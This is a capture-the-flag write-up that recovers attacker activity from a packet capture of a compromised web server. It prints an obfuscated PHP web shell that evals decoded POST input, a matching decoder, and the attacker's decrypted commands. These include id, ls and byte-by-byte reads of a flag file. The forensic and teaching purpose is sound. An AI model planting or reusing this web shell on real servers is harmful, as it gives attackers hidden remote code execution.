After some time spent on my bike, here is the latest write-up, this time of a Networking challenge The Web Shell on the CTF site 247CTF.com.
Our web server was compromised again and we aren’t really sure what the attacker was doing. Luckily, we only use HTTP and managed to capture network traffic during the attack! Can you figure out what the attacker was up to?
The challenge provides us with a pcap file of captured traffic (web_shell.pcap
), so first download it.
As always, analyze it in Wireshark and skim through the data to find patterns.
In packet 4
, we can see a hint that Nikto is used without evasions. Nikto is a popular server scanner used for finding interesting stuff.
4 Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:Port Check)
In the next 16k packets, we can observe random attempts to guess a working link via GET
requests.
Culprits are looking for response code 200
and we can see that until it appears, they tried a lot of links that responded with code 404
.
16626 GET /uploader.php HTTP/1.1\r\n
...
16628 HTTP/1.1 200 OK\r\n
...
16648 POST /uploader.php HTTP/1.1\r\n
Looking at the packet number 16648
, we can see that there is additional POST payload attached. Educated guess would be that attackers uploaded their own code. Right click on the packet line, Follow and HTTP stream.
Here we can see that the data is in fact a php script.
<?php
$d=str_replace('eq','','eqcreaeqteeq_fueqnceqtieqon');
$C='{[Z$o.=$t[Z{$i}^$k{$j};[Z}}return [Z$[Zo;}if (@preg_[Zmatc[Zh("[Z/$[Zkh(.+)$kf[Z/",@file[Z_ge[Z[Zt_conten[Zts("p[Z[Zh';
$q='Z[Z,$k){$c=strlen($k);$l=s[Ztrlen([Z$t);$[Z[Zo="";for[Z($i=0;$i<$[Zl;){for[Z($j=0[Z;($j<[Z[Z$c&&$i<$l[Z[Z);$j[Z++,$i++)';
$O='$k="8[Z1aeb[Ze1[Z8";$kh="775d[Z4[Zf83f4e0";[Z$kf=[Z"0120dd0bcc[Zc6[Z";$p="[ZkkqES1eCI[ZzoxyHXb[Z[Z";functio[Zn x[Z($t[';
$Z='[Zet_conte[Znts()[Z;@ob_end_clean();$r=[Z@b[Zase64_enco[Zde(@x([Z@gzco[Z[Z[Zmpress($o),$k));pri[Znt[Z("$[Zp$kh$r$kf");}';
$V='p://input"),$m)[Z==1) {@ob_[Zst[Zart();@e[Zval(@gzun[Zcom[Zpress(@x[Z(@base[Z64_de[Zc[Zode($m[1])[Z,$k)));$[Zo[Z=@ob_[Zg';
$v=str_replace('[Z','',$O.$q.$C.$V.$Z);
$W=$d('',$v);$W();
?>
Obviously the code is obfuscated to try to avoid detection and make life difficult for people that want to know what is it doing. Using some basic understanding of php and find and replace in your favourite editor, you can obtain the clean code. Use indentation to your advantage.
Observations for PHP code.
After deobfuscation, we could analyse the inner workings of the shell…
x
is doing simple bitwise xor operation on two arguments."/$kh(.+)$kf/"
is matching only strings that start with $kh
and end with $kf
, so that only hackers input gets executed.@
suppresses the error messages.ob_start();
turns on output buffering.$m
, decodes it, xors it, uncompresses it and executes it with eval()
.So to get plaintext of commands and outputs that attackers used, we need to do the process in reverse. Compress, encode in base64, xor.
Here I have googled and found similar problem: https://joshuanatan.medium.com/hack-bfc7c6528463
To do that, we can create our own decoder result-decode.php
:
<?php
$k="81aebe18";
$kh="775d4f83f4e0";
$kf="0120dd0bccc6";
$p="kkqES1eCIzoxyHXb";
function x($t,$k)
{
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;)
{
for($j=0; ($j<$c&&$i<$l); $j++,$i++)
{
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$userinput = file_get_contents("php://input");
$base64 = base64_decode($userinput);
$xor = x($base64,$k);
$result = gzuncompress($xor);
echo "\n".$result;
?>
In the next step, we could copy paste all the TCP streams by hand. But I rather not, so lets automate the process.
Output only tcp.payload
from tcp.stream
and convert it from hex with xxd -r -p
tshark -r web_shell.pcap -Y "tcp.stream" -Tfields -e tcp.payload | xxd -r -p > wstcpstream.txt
Filter only the text between two strings found in shell script using awk
cat wstcpstream.txt| awk 'BEGIN{RS="0120dd0bccc6"; FS="775d4f83f4e0"}NF>1{print $NF}' > wstcpToParse.txt
Spin up a webserver and serve the result-decode.php
file, use it with curl
POST
and decode all the lines in the file.
while read p ; do curl -X POST --data "$p" http://localhost/result-decode.php ; done < wstcpToParse.txt > wsresults.txt
We now have plaintext input and output of the hackers wrongdoings in file wsresults.txt
.
echo(28520);
28520
chdir('/var/www/html/uploads');@error_reporting(0);@system('echo 93301');
93301
chdir('/var/www/html/uploads');@error_reporting(0);@system('id 2>&1');
uid=33(www-data) gid=33(www-data) groups=33(www-data)
chdir('/var/www/html/uploads');@error_reporting(0);@system('ls 2>&1');
index.html
owned.php
chdir('/var/www/html/uploads');@error_reporting(0);@system('ls ../ 2>&1');
index.html
uploader.php
uploads
y_flag_here.txt
echo(65959);
65959
chdir('/var/www/html/uploads');@error_reporting(0);@system('echo 12937');
12937
chdir('/var/www/html/uploads');@error_reporting(0);@system('xxd -p -l1 -s31 ../y_flag_here.txt 2>&1');
32
echo(49092);
49092
chdir('/var/www/html/uploads');@error_reporting(0);@system('echo 80737');
80737
chdir('/var/www/html/uploads');@error_reporting(0);@system('xxd -p -l1 -s34 ../y_flag_here.txt 2>&1');
37
...
We can see exactly what happened and that there is a file y_flag_here.txt
. Interesting!The hackers are very kind and are displaying it for us byte for byte with xxd
. -l1
outputs one octet and -s
tells us which part of the file is the hacker displaying.
So we need to put the outputs in the right order.
If anyone has some nice idea how to automate this part, message me :)
I went by hand, from -s0
to s39
and wrote the response bytes in file flaghex.txt
.
32343754467b35...
The last thing for us is to reverse the xxd
command:
xxd -r -p flaghex.txt
247CTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}